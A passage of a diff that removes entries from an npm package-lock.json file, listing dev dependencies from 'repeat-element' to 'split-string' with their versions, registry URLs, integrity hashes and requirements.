-      "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=",
-      "dev": true
-    },
-    "repeat-element": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz",
-      "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==",
-      "dev": true
-    },
-    "repeat-string": {
-      "version": "1.6.1",
-      "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
-      "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=",
-      "dev": true
-    },
-    "request": {
-      "version": "2.88.2",
-      "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
-      "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
-      "dev": true,
-      "requires": {
-        "aws-sign2": "~0.7.0",
-        "aws4": "^1.8.0",
-        "caseless": "~0.12.0",
-        "combined-stream": "~1.0.6",
-        "extend": "~3.0.2",
-        "forever-agent": "~0.6.1",
-        "form-data": "~2.3.2",
-        "har-validator": "~5.1.3",
-        "http-signature": "~1.2.0",
-        "is-typedarray": "~1.0.0",
-        "isstream": "~0.1.2",
-        "json-stringify-safe": "~5.0.1",
-        "mime-types": "~2.1.19",
-        "oauth-sign": "~0.9.0",
-        "performance-now": "^2.1.0",
-        "qs": "~6.5.2",
-        "safe-buffer": "^5.1.2",
-        "tough-cookie": "~2.5.0",
-        "tunnel-agent": "^0.6.0",
-        "uuid": "^3.3.2"
-      },
-      "dependencies": {
-        "tough-cookie": {
-          "version": "2.5.0",
-          "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
-          "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
-          "dev": true,
-          "requires": {
-            "psl": "^1.1.28",
-            "punycode": "^2.1.1"
-          }
-        },
-        "uuid": {
-          "version": "3.4.0",
-          "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
-          "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
-          "dev": true
-        }
-      }
-    },
-    "request-promise-core": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.3.tgz",
-      "integrity": "sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==",
-      "dev": true,
-      "requires": {
-        "lodash": "^4.17.15"
-      }
-    },
-    "request-promise-native": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.8.tgz",
-      "integrity": "sha512-dapwLGqkHtwL5AEbfenuzjTYg35Jd6KPytsC2/TLkVMz8rm+tNt72MGUWT1RP/aYawMpN6HqbNGBQaRcBtjQMQ==",
-      "dev": true,
-      "requires": {
-        "request-promise-core": "1.1.3",
-        "stealthy-require": "^1.1.1",
-        "tough-cookie": "^2.3.3"
-      },
-      "dependencies": {
-        "tough-cookie": {
-          "version": "2.5.0",
-          "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
-          "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
-          "dev": true,
-          "requires": {
-            "psl": "^1.1.28",
-            "punycode": "^2.1.1"
-          }
-        }
-      }
-    },
-    "require-directory": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
-      "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=",
-      "dev": true
-    },
-    "require-main-filename": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
-      "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
-      "dev": true
-    },
-    "resolve": {
-      "version": "1.17.0",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz",
-      "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==",
-      "dev": true,
-      "requires": {
-        "path-parse": "^1.0.6"
-      }
-    },
-    "resolve-cwd": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
-      "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
-      "dev": true,
-      "requires": {
-        "resolve-from": "^5.0.0"
-      }
-    },
-    "resolve-from": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
-      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
-      "dev": true
-    },
-    "resolve-url": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
-      "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=",
-      "dev": true
-    },
-    "restore-cursor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
-      "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==",
-      "dev": true,
-      "requires": {
-        "onetime": "^5.1.0",
-        "signal-exit": "^3.0.2"
-      }
-    },
-    "ret": {
-      "version": "0.1.15",
-      "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
-      "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
-      "dev": true
-    },
-    "rimraf": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
-      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
-      "dev": true,
-      "requires": {
-        "glob": "^7.1.3"
-      }
-    },
-    "rsvp": {
-      "version": "4.8.5",
-      "resolved": "https://registry.npmjs.org/rsvp/-/rsvp-4.8.5.tgz",
-      "integrity": "sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==",
-      "dev": true
-    },
-    "run-async": {
-      "version": "2.4.1",
-      "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
-      "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==",
-      "dev": true
-    },
-    "rxjs": {
-      "version": "6.5.5",
-      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz",
-      "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==",
-      "dev": true,
-      "requires": {
-        "tslib": "^1.9.0"
-      }
-    },
-    "safe-buffer": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
-      "dev": true
-    },
-    "safe-regex": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
-      "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
-      "dev": true,
-      "requires": {
-        "ret": "~0.1.10"
-      }
-    },
-    "safer-buffer": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
-      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
-      "dev": true
-    },
-    "sane": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/sane/-/sane-4.1.0.tgz",
-      "integrity": "sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==",
-      "dev": true,
-      "requires": {
-        "@cnakazawa/watch": "^1.0.3",
-        "anymatch": "^2.0.0",
-        "capture-exit": "^2.0.0",
-        "exec-sh": "^0.3.2",
-        "execa": "^1.0.0",
-        "fb-watchman": "^2.0.0",
-        "micromatch": "^3.1.4",
-        "minimist": "^1.1.1",
-        "walker": "~1.0.5"
-      },
-      "dependencies": {
-        "anymatch": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
-          "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
-          "dev": true,
-          "requires": {
-            "micromatch": "^3.1.4",
-            "normalize-path": "^2.1.1"
-          }
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
-          "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
-          "dev": true,
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "dev": true,
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "dev": true,
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "dev": true,
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "dev": true,
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "dev": true,
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
-          "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
-          "dev": true,
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "normalize-path": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
-          "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
-          "dev": true,
-          "requires": {
-            "remove-trailing-separator": "^1.0.1"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "dev": true,
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        }
-      }
-    },
-    "saxes": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
-      "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
-      "dev": true,
-      "requires": {
-        "xmlchars": "^2.2.0"
-      }
-    },
-    "semver": {
-      "version": "5.7.1",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-      "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
-      "dev": true
-    },
-    "set-blocking": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
-      "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=",
-      "dev": true
-    },
-    "set-value": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
-      "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
-      "dev": true,
-      "requires": {
-        "extend-shallow": "^2.0.1",
-        "is-extendable": "^0.1.1",
-        "is-plain-object": "^2.0.3",
-        "split-string": "^3.0.1"
-      },
-      "dependencies": {
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "dev": true,
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "is-plain-object": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
-          "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
-          "dev": true,
-          "requires": {
-            "isobject": "^3.0.1"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "shebang-command": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
-      "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=",
-      "dev": true,
-      "requires": {
-        "shebang-regex": "^1.0.0"
-      }
-    },
-    "shebang-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
-      "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=",
-      "dev": true
-    },
-    "shellwords": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/shellwords/-/shellwords-0.1.1.tgz",
-      "integrity": "sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==",
-      "dev": true,
-      "optional": true
-    },
-    "signal-exit": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz",
-      "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==",
-      "dev": true
-    },
-    "sisteransi": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
-      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
-      "dev": true
-    },
-    "slash": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
-      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
-      "dev": true
-    },
-    "slice-ansi": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz",
-      "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==",
-      "dev": true,
-      "requires": {
-        "ansi-styles": "^3.2.0",
-        "astral-regex": "^1.0.0",
-        "is-fullwidth-code-point": "^2.0.0"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-          "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-          "dev": true,
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "color-convert": {
-          "version": "1.9.3",
-          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
-          "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
-          "dev": true,
-          "requires": {
-            "color-name": "1.1.3"
-          }
-        },
-        "color-name": {
-          "version": "1.1.3",
-          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
-          "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=",
-          "dev": true
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
-          "dev": true
-        }
-      }
-    },
-    "snapdragon": {
-      "version": "0.8.2",
-      "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
-      "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
-      "dev": true,
-      "requires": {
-        "base": "^0.11.1",
-        "debug": "^2.2.0",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "map-cache": "^0.2.2",
-        "source-map": "^0.5.6",
-        "source-map-resolve": "^0.5.0",
-        "use": "^3.1.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "dev": true,
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "dev": true,
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
-          "dev": true
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=",
-          "dev": true
-        }
-      }
-    },
-    "snapdragon-node": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
-      "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
-      "dev": true,
-      "requires": {
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.0",
-        "snapdragon-util": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "dev": true,
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "snapdragon-util": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
-      "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
-      "dev": true,
-      "requires": {
-        "kind-of": "^3.2.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "source-map": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
-      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
-      "dev": true
-    },
-    "source-map-resolve": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
-      "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
-      "dev": true,
-      "requires": {
-        "atob": "^2.1.2",
-        "decode-uri-component": "^0.2.0",
-        "resolve-url": "^0.2.1",
-        "source-map-url": "^0.4.0",
-        "urix": "^0.1.0"
-      }
-    },
-    "source-map-support": {
-      "version": "0.5.19",
-      "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz",
-      "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==",
-      "dev": true,
-      "requires": {
-        "buffer-from": "^1.0.0",
-        "source-map": "^0.6.0"
-      }
-    },
-    "source-map-url": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz",
-      "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=",
-      "dev": true
-    },
-    "spdx-correct": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz",
-      "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==",
-      "dev": true,
-      "requires": {
-        "spdx-expression-parse": "^3.0.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-exceptions": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
-      "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==",
-      "dev": true
-    },
-    "spdx-expression-parse": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
-      "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
-      "dev": true,
-      "requires": {
-        "spdx-exceptions": "^2.1.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-license-ids": {
-      "version": "3.0.5",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz",
-      "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==",
-      "dev": true
-    },
-    "split-string": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
-      "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
-      "dev": true,
-      "requires": {
